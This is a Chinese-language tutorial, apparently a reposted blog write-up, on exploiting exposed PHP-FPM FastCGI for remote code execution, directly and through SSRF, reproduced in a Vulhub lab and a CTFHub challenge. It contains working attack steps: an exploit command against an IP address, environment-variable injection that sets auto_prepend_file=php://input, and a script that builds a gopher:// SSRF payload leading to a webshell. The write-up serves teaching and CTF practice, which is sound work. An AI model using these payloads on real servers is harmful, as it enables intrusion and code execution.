SSRF漏洞之FastCGI利用篇「建议收藏」 您所在的位置:网站首页 docker未授权访问rce SSRF漏洞之FastCGI利用篇「建议收藏」

SSRF漏洞之FastCGI利用篇「建议收藏」

#SSRF漏洞之FastCGI利用篇「建议收藏」| 来源: 网络整理| 查看: 265

大家好,又见面了,我是你们的朋友全栈君。

SSRF漏洞之FastCGI利用篇

SSRF–(Server-side Request Forge, 服务端请求伪造) 定义:由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务

SSRF漏洞思维导图如下,本篇主要介绍利用SSRF漏洞攻击FastCGI

image-20210224111821069image-202102241118210690x00.PHP-FPM FastCGI 未授权利用

首先我们使用Vulhub漏洞靶场快速搭建漏洞环境进行复现,感受一波漏洞的危害

代码语言:javascript复制# 保证实验vps具有git、docker、pip、docker-compose、python基础环境 ## 下载vulhub靶场资源 git clone https://github.com/vulhub/vulhub.git ## 找到fpm Fastcgi目录,一键搭建漏洞环境 docker-compose up -dimage-20210225153035133image-20210225153035133

环境搭建完成,如下图可以看到,FPM Fastcgi未授权漏洞 docker镜像正在运行,且监听在本地9000端口

image-20210225154642500image-20210225154642500

执行P牛漏洞EXP,Exp见 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

代码语言:javascript复制python3 fpm.py 118.24.127.188 /usr/local/lib/php/PEAR.php -c "" # 其中/usr/local/lib/php/PEAR.php 为安装php时默认自带的php文件image-20210225155548429image-20210225155548429

成功执行构造的任意PHP代码,拿到vps运行FPM的Web权限

看到这里,相比同学们都很好奇为何只是开启9000端口就造成任意命令执行了呢?

啥是PHP-FPM,FastCGI又是啥(大佬请略过0x01章节~)

接下来,我们一起探究漏洞的原理和具体的利用过程吧~

0x01.CGI、FastCGI、PHP-FPM

我们知道,在网站架构中,Web Server(如Nginx)只是内容的分发者

当客户端请求的是index.php,根据配置文件Web Server辨别不是静态文件,此时就需要去找 PHP解析器来处理

SSRF漏洞之FastCGI利用篇「建议收藏」SSRF漏洞之FastCGI利用篇「建议收藏」

当Web Server收到 index.php 这个请求后,会启动对应的CGI 程序,也就是PHP解析器

接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以CGI规范的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程

这其中,引出如下概念:

CGI:是 Web Server 与 Web Application 之间数据交换的一种协议**FastCGI:**同 CGI,是一种通信协议,对比 CGI 提升了5倍以上性能**PHP-CGI:**是 PHP(Web Application)对 Web Server 提供的 CGI 协议的接口程序**PHP-FPM:**是 PHP(Web Application)对 Web Server 提供的 FastCGI 协议的接口程序,额外还提供了相对智能的任务管理功能

PHP默认提供了很多种SAPI(服务器端应用编程端口),常见的提供给apache和nginx的php5_module、CGI、FastCGI,给IIS的ISAPI,以及Shell的CLI

经过不断的技术升级,目前搭建高性能的PHP Web服务器,最佳的方式是Apache/Nginx + FastCGI + **PHP-FPM(PHP-CGI)**方式

FastCGI工作原理image-20210317142528149image-20210317142528149

Web 服务器启动时载入FastCGI进程管理器(PHP-CGI或者PHP-FPM)

FastCGI 进程管理器自身初始化,启动多个 CGI 解释器进程,并等待来自 Web Server 的连接Web 服务器与 FastCGI 进程管理器进行 Socket 通信,选择一个CGI 解释器进程,通过 FastCGI 协议发送 CGI 环境变量和标准输入数据给 这个CGI 解释器进程CGI 解释器进程完成处理后将标准输出和错误信息从同一连接返回 Web 服务器CGI 解释器进程接着等待并处理来自 Web 服务器的下一个连接

由此,PHP-FPM 就是一个FastCGI进程管理器,是对于 FastCGI 协议的具体实现,它负责管理一个进程池,来处理来自Web服务器的请求。

PHP-FPM通信方式

在PHP使用FastCGI连接模式的情况下,Web服务器中间件如Nginx和PHP-FPM之间的通信方式又分为两种,TCP模式和套接字(unix socket)模式

TCP模式即是PHP-FPM进程会监听本机上的一个端口(默认为9000),然后Nginx会把客户端请求数据通过FastCGI协议传给9000端口,PHP-FPM拿到数据后会调用CGI进程解析Unix套接字模式是Unix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。上述原理图中提到的Socket 通信即为此模式

配合文章开头的漏洞演示来看,我们利用SSRF漏洞攻击FastCGI是在TCP模式下进行

0x02.FastCGI攻击原理FastCGI协议

HTTP协议是浏览器和服务器中间件进行数据交换的协议,类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端(如PHP-FPM)进行数据交换的协议

Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端(PHP-FPM),语言后端(PHP-FPM)解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件

record的头固定8个字节,body是由头中的contentLength指定,其结构如下:

代码语言:javascript复制typedef struct { /* Header */ unsigned char version; // 版本 unsigned char type; // 本次record的类型 unsigned char requestIdB1; // 本次record对应的请求id unsigned char requestIdB0; unsigned char contentLengthB1; // body体的大小 unsigned char contentLengthB0; unsigned char paddingLength; // 额外块大小 unsigned char reserved; /* Body */ unsigned char contentData[contentLength]; unsigned char paddingData[paddingLength]; } FCGI_Record;

语言端(PHP-FPM)解析了FastCGI头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体 Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用不需要该Padding的时候,将其长度设置为0即可 可见,一个FastCGI record结构最大支持的body大小是2^16,也就是65536字节

其中,header中的type代表本次record的类型,所有值及具体含义如下

image-20210317165945168image-20210317165945168

服务器中间件和后端语言(PHP-FPM)通信,第一个数据包就是type为1的record,后续互相交流,发送type为4、5、6、7的record,结束时发送type为2、3的record

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么服务器中间件(Nginx)会将这个请求变成如下key-value对:

代码语言:javascript复制{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' }

这个数组其实就是PHP中_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充_SERVER数组,也是告诉FPM:“我要执行哪个PHP文件”

当后端语言(PHP-FPM)拿到由Nginx发过来的FastCGI数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php

漏洞原理

到这里,PHP-FPM FastCGI未授权访问漏洞也就呼之欲出了。PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造FastCGI协议,和FPM进行通信。

此时,我们自行构造SCRIPT_FILENAME的值,就可以控制PHP-FPM执行任意后缀文件,如/etc/passwd

但是,在PHP5.3.9之后,FPM默认配置中增加了security.limit_extensions选项

代码语言:javascript复制; Limits the extensions of the main script FPM will allow to parse. This can ; prevent configuration mistakes on the web server side. You should only limit ; FPM to .php extensions to prevent malicious users to use other extensions to ; exectute php code. ; Note: set an empty value to allow all extensions. ; Default Value: .php ;security.limit_extensions = .php .php3 .php4 .php5 .php7

其限定了只有某些后缀的文件允许被FPM执行,默认是.php。

因此,想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。已存在的PHP文件名获得有两种方法:

通过系统的信息收集、爆破、报错获得某个PHP文件名及其路径找安装PHP后默认存在的PHP文件,如/usr/local/lib/php/PEAR.php

现在,拿到了文件名,我们能控制SCRIPT_FILENAME,却只能执行目标服务器上的文件,并不能执行我们想要执行的任意代码,但我们可以通过构造type值为4的record,也就是设置向PHP-FPM传递的环境变量来达到任意代码执行的目的

PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件

若我们设置auto_prepend_file为php://input(allow_url_include=on),那么就等于在执行任何PHP文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在FastCGI协议 Body中,它们就能被执行了

那么我们如何设置PHP.INI中auto_prepend_file的值呢?

我们可以通过PHP-FPM的两个环境变量,PHP_VALUE PHP_ADMIN_VALUE来设置PHP.INI

image-20210317212605153image-20210317212605153

最终,我们设置向PHP-FPM传递的环境变量:

代码语言:javascript复制{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' }

最后两行设置auto_prepend_file = php://input且allow_url_include = On,然后将我们需要执行的代码放在Body中,即可执行任意代码(见文章开头漏洞复现)

0x03.SSRF攻击本地的PHP-FPM

生产环境中,除非测试或者图方便之外,PHP-FPM是极少开放在公网的,绝大部分都是启动在本地即监听127.0.0.1:9000地址,这种情况下,如果服务器端存在SSRF漏洞,那么我们就可以借助SSRF来攻击本地PHP-FPM服务,达到任意代码执行的效果

我们通过CTFHub中的一道SSRF FastCGI协议题目具体进行利用

image-20210318101305423image-20210318101305423

根据前面几篇SSRF系列的文章,我们对gopher协议已经有所了解

代码语言:javascript复制gopher://:/_后接TCP数据流

当后接TCP数据流为我们构造的恶意FastCGI协议报文,即可执行恶意命令

根据上一章节的FastCGI攻击原理分析,我们需要满足三个条件:

PHP版本要高于5.3.3,才能动态修改PHP.INI配置文件(题目环境已满足)知道题目环境中的一个PHP文件的绝对路径PHP-FPM监听在本机9000端口(题目环境已满足)

打开题目链接,我们访问index.php会被重定向,其他任意PHP文件都返回404,说明存在index.php

PHP文件的绝对路径:/var/www/html/index.php方法一

所需条件都满足,我们利用题目附件中P牛的EXP:fpm.php

我们在本机监听9000端口,然后运行fpm.py将恶意FastCGI协议报文数据打在本机的9000端口,保存为exp.txt

代码语言:javascript复制# 监听9000端口 nc -lvvp 9000 > exp.txt # 运行`fpm.py` python3 fpm.py 127.0.0.1 /var/www/html/index.php -c ""image-20210318115105185image-20210318115105185

编写exp_urlcode.py将exp.txt进行urlencode编码并输出

代码语言:javascript复制from urllib import quote with open('exp.txt') as f: pld = f.read() print "gopher://127.0.0.1:9000/_" + quote(pld)image-20210318115521777image-20210318115521777

然后进行二次编码后将最终的payload内容放到?url=后面发送过去(这里需要进行两次编码,因为这里GET会进行一次解码,curl也会再进行一次解码)

image-20210318115149077image-20210318115149077

使用中国蚁剑成功连接webshell,在其根目录下找到flag

image-20210318115331996image-20210318115331996

拿到flag

image-20210318115610268image-20210318115610268方法二

gopher工具生成payload

image-20210318101106760image-20210318101106760

与方法一一样,将payload二次编码后发送,然后中国蚁剑成功连接webshell,在其根目录下找到flag

0x04.总结

通过对PHP-FPM FastCGI协议的学习,漏洞原理的具体利用,得出FastCGI 的利用大多数还是配合SSRF漏洞才能造成巨大危害的结论。同时,也加深了PHP与Web Server之间通信的具体了解与认识

参考

Web安全基础学习之SSRF漏洞利用

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

浅析php-fpm的攻击方式

CGI、FastCGI和PHP-FPM关系图解

PHP 进阶之路 – 深入理解 FastCGI 协议以及在 PHP 中的实现

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/159799.html原文链接:https://javaforall.cn



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有